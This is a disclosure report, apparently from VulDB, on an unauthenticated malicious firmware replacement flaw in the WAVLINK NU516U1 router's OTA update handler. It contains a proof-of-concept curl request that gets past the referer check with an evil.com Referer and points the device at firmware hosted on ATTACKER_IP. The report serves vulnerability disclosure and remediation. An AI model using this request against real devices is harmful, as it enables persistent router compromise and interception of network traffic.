Gửi #850499: WAVLINK NU516U1 2026-05-15 (build 708c073-mt7628) Command Injection

WAVLINK NU516U1: Malicious Firmware Replacement via OTA Update with Attacker-Controlled URL and Hash
Summary
WAVLINK NU516U1 has a critical firmware integrity bypass in its OTA update mechanism. The ota_new_upgrade handler in adm.cgi passes both the firmware download URL and the expected MD5 hash from user-supplied POST parameters to /bin/winstar_ota_upgrade.sh. Since the attacker controls both values, they can pre-compute the MD5 of their malicious firmware and supply it alongside the download URL, rendering the integrity check meaningless. The device downloads, "verifies," and flashes the attacker's firmware via sysupgrade.

On factory-reset devices (UserInit != 12), no authentication is required — the only gate is the CSRF referer check, which is trivially bypassed via strstr substring matching.

Affected Versions
WAVLINK NU516U1 firmware version 2026-05-15 (build 708c073-mt7628)

Vulnerability Details
Root Cause: Integrity check uses attacker-supplied hash
adm.cgi → FUN_00405e0c (ota_new_upgrade handler) (adm.c lines 1755-1763):

pcVar4 = FUN_0040ab18("firmware_url", param_1, 0); // attacker-controlled URL (line 1759)
pcVar4 = strdup(pcVar4);
pcVar5 = FUN_0040ab18("md5", param_1, 0); // attacker-controlled hash (line 1761)
pcVar5 = strdup(pcVar5);
FUN_004091d4("/bin/winstar_ota_upgrade.sh", // execvp (line 1763)
pcVar2, pcVar1, pcVar5, pcVar4, 0);
/bin/winstar_ota_upgrade.sh lines 23-30:

curl -o /tmp/ota_update_firmware "$ota_url" # download from attacker URL
ota_firmware_md5=$(md5sum /tmp/ota_update_firmware | awk '{print $1}')
if [ "$ota_firmware_md5" == "$ota_md5" ]; then # compare against attacker-supplied hash
sysupgrade -v /tmp/ota_update_firmware # flash firmware
fi
The model/brand parameters are also attacker-supplied (POST parameters), making even those checks trivially bypassable.

Attack Chain
Attacker hosts a malicious firmware image on a web server and computes its MD5 hash
Attacker sends a POST to /cgi-bin/adm.cgi with page=ota_new_upgrade, firmware_url=http://attacker.com/fw.bin, and md5=<computed_hash>
The device downloads the firmware from the attacker's server
The MD5 check passes because the attacker supplied the matching hash
sysupgrade flashes the malicious firmware — the device is now permanently compromised
Proof of Concept
# Step 1: Prepare malicious firmware and compute its MD5
echo "MALICIOUS_FIRMWARE_CONTENT" > /tmp/evil_fw.bin
MD5=$(md5sum /tmp/evil_fw.bin | awk '{print $1}')
# Host it: python3 -m http.server 8888 --directory /tmp

# Step 2: Push OTA update to the target device
# On factory-reset device (UserInit=0): no auth needed, only CSRF bypass
curl -X POST http://192.168.10.1/cgi-bin/adm.cgi \
-H "Referer: http://evil.com/?x=192.168.10.1" \
-d "page=ota_new_upgrade&model=NU516U1&brand=WAVLINK&firmware_url=http://ATTACKER_IP:8888/evil_fw.bin&md5=$MD5"
# Expected: device downloads, verifies (passes), and flashes the malicious firmware
Reproduction Result
E2E: POST page=ota_new_upgrade with attacker URL + attacker MD5
→ winstar_ota_upgrade.sh invoked
→ curl downloads from attacker URL
→ md5sum matches attacker-supplied hash
→ sysupgrade flashes firmware
Impact
An attacker on the local network (or remote via CSRF) can:

Replace the entire router firmware with a malicious image containing backdoors, rootkits, or data exfiltration tools
Achieve persistent compromise that survives factory resets (depending on bootloader partition layout)
Intercept, modify, or redirect all network traffic passing through the router
Use the compromised router as a pivot point to attack other devices on the LAN
On factory-reset devices, execute this attack without any authentication
Suggested Remediation
# Replace MD5 self-verification with asymmetric signature check
# winstar_ota_upgrade.sh — verify firmware signature against a built-in public key
openssl dgst -sha256 -verify /etc/firmware_pubkey.pem \
-signature /tmp/ota_update_firmware.sig \
/tmp/ota_update_firmware
if [ $? -ne 0 ]; then
echo "Firmware signature verification failed"
rm -f /tmp/ota_update_firmware
exit 1
fi
sysupgrade -v /tmp/ota_update_firmware
The firmware integrity check must use a cryptographic signature verified against a key embedded in the device, not a hash supplied by the caller. The MD5 hash and download URL should never be accepted from user input in the same request.

• Nguồn: ⚠️ https://github.com/oduoke567/WAVLINK-NU516U1-2026-05-1/blob/main/report1.md
• Người dùng: oduoke (UID 98772)
• Đệ trình: 06/06/2026 12:07 (cách đây 2 các tháng)
• Kiểm duyệt: 02/08/2026 22:33 (2 months later)
• Trạng thái: Bản sao
• Mục VulDB: 349550 [Wavlink WL-NU516U1 240425 /cgi-bin/adm.cgi ota_new_upgrade model nâng cao đặc quyền]
• điểm: 0